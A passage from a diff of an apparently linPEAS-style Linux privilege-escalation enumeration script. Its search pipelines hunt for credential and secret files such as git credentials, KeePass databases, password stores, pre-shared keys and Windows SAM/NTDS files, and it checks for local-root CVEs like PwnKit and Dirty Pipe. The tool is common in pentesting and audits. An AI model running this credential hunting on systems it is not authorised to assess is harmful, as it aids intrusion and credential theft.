"$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.msmtprc$" | sort | uniq | head -n 70) + PSTORAGE_INFLUXDB=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "influxdb\.conf$" | sort | uniq | head -n 70) + PSTORAGE_ZABBIX=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "zabbix_server\.conf$|zabbix_agentd\.conf$|zabbix$" | sort | uniq | head -n 70) + PSTORAGE_GITHUB=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.github$|\.gitconfig$|\.git-credentials$|\.git$" | sort | uniq | head -n 70) + PSTORAGE_SVN=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.svn$" | sort | uniq | head -n 70) + PSTORAGE_KEEPASS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*\.kdbx$|KeePass\.config.*$|KeePass\.ini$|KeePass\.enforced.*$" | sort | uniq | head -n 70) + PSTORAGE_PRE_SHARED_KEYS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*\.psk$" | sort | uniq | head -n 70) + PSTORAGE_PASS_STORE_DIRECTORIES=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.password-store$" | sort | uniq | head -n 70) + PSTORAGE_FTP=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*\.ftpconfig$|ffftp\.ini$|ftp\.ini$|ftp\.config$|sites\.ini$|wcx_ftp\.ini$|winscp\.ini$|ws_ftp\.ini$" | sort | uniq | head -n 70) + PSTORAGE_BIND=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/etc|^/var|^/usr" | grep -E "bind$" | sort | uniq | head -n 70) + PSTORAGE_SEEDDMS=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "seeddms.*$" | sort | uniq | head -n 70) + PSTORAGE_DDCLIENT=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "ddclient\.conf$" | sort | uniq | head -n 70) + PSTORAGE_KCPASSWORD=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "kcpassword$" | sort | uniq | head -n 70) + PSTORAGE_SENTRY=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "sentry$|sentry\.conf\.py$" | sort | uniq | head -n 70) + PSTORAGE_STRAPI=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "environments$" | sort | uniq | head -n 70) + PSTORAGE_CACTI=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "cacti$" | sort | uniq | head -n 70) + PSTORAGE_ROUNDCUBE=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "roundcube$" | sort | uniq | head -n 70) + PSTORAGE_PASSBOLT=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "passbolt\.php$" | sort | uniq | head -n 70) + PSTORAGE_JETTY=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "jetty-realm\.properties$" | sort | uniq | head -n 70) + PSTORAGE_WGET=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.wgetrc$" | sort | uniq | head -n 70) + PSTORAGE_INTERESTING_LOGS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "access\.log$|error\.log$" | sort | uniq | head -n 70) + PSTORAGE_OTHER_INTERESTING=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.bashrc$|\.google_authenticator$|hosts\.equiv$|\.lesshst$|\.plan$|\.profile$|\.recently-used\.xbel$|\.rhosts$|\.sudo_as_admin_successful$" | sort | uniq | head -n 70) + PSTORAGE_WINDOWS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "unattend\.inf$|.*\.rdg$|AppEvent\.Evt$|ConsoleHost_history\.txt$|FreeSSHDservice\.ini$|NetSetup\.log$|Ntds\.dit$|protecteduserkey\.bin$|RDCMan\.settings$|SAM$|SYSTEM$|SecEvent\.Evt$|appcmd\.exe$|bash\.exe$|datasources\.xml$|default\.sav$|drives\.xml$|groups\.xml$|https-xampp\.conf$|https\.conf$|iis6\.log$|index\.dat$|my\.cnf$|my\.ini$|ntuser\.dat$|pagefile\.sys$|printers\.xml$|recentservers\.xml$|scclient\.exe$|scheduledtasks\.xml$|security\.sav$|server\.xml$|setupinfo$|setupinfo\.bak$|sitemanager\.xml$|sites\.ini$|software$|software\.sav$|sysprep\.inf$|sysprep\.xml$|system\.sav$|unattend\.txt$|unattend\.xml$|unattended\.xml$|wcx_ftp\.ini$|ws_ftp\.ini$|web.*\.config$|winscp\.ini$|wsl\.exe$" | sort | uniq | head -n 70) + PSTORAGE_DATABASE=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/man/|/usr/|/var/cache/' | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*\.db$|.*\.sqlite$|.*\.sqlite3$" | sort | uniq | head -n 70) + PSTORAGE_BACKUPS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "backup$|backups$" | sort | uniq | head -n 70) + PSTORAGE_PASSWORD_FILES=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*password.*$|.*credential.*$|creds.*$|.*\.key$" | sort | uniq | head -n 70) ##### POST SERACH VARIABLES ##### @@ -1160,7 +1305,7 @@ print_title "System Information" #-- SY) OS print_2title "Operative system" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits" (cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED}," warn_exec lsb_release -a 2>/dev/null if [ "$MACPEAS" ]; then @@ -1171,12 +1316,15 @@ echo "" #-- SY) Sudo print_2title "Sudo version" if [ "$(command -v sudo 2>/dev/null)" ]; then -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version" sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${SED_RED}," else echo_not_found "sudo" fi echo "" +#-- SY) CVEs +print_2title "CVEs Check" + #-- SY) CVE-2021-4034 if [ `command -v pkexec` ] && stat -c '%a' $(which pkexec) | grep -q 4755 && [ "$(stat -c '%Y' $(which pkexec))" -lt "1642035600" ]; then echo "Vulnerable to CVE-2021-4034" | sed -${E} "s,.*,${SED_RED_YELLOW}," @@ -1184,16 +1332,36 @@ if [ `command -v pkexec` ] && stat -c '%a' $(which pkexec) | grep -q 4755 && [ " fi #-- SY) CVE-2021-3560 -polkitVersion=$(systemctl status polkit.service | grep version | cut -d " " -f 9) -if [[ "$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1 || "$(rpm -qa | grep polkit | grep -c '0.117-2\|0.115-6')" -ge 1 ]]; then +polkitVersion=$(systemctl status polkit.service 2>/dev/null | grep version | cut -d " " -f 9) +if [ "$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1 ] || [ "$(yum list installed 2>/dev/null | grep polkit | grep -c 0.117-2)" -ge 1 ]; then echo "Vulnerable to CVE-2021-3560" | sed -${E} "s,.*,${SED_RED_YELLOW}," echo "" fi +#-- SY) CVE-2022-0847 +#-- https://dirtypipe.cm4all.com/ +#-- https://stackoverflow.com/a/37939589 +kernelversion=$(uname -r | awk -F"-" '{print $1}') 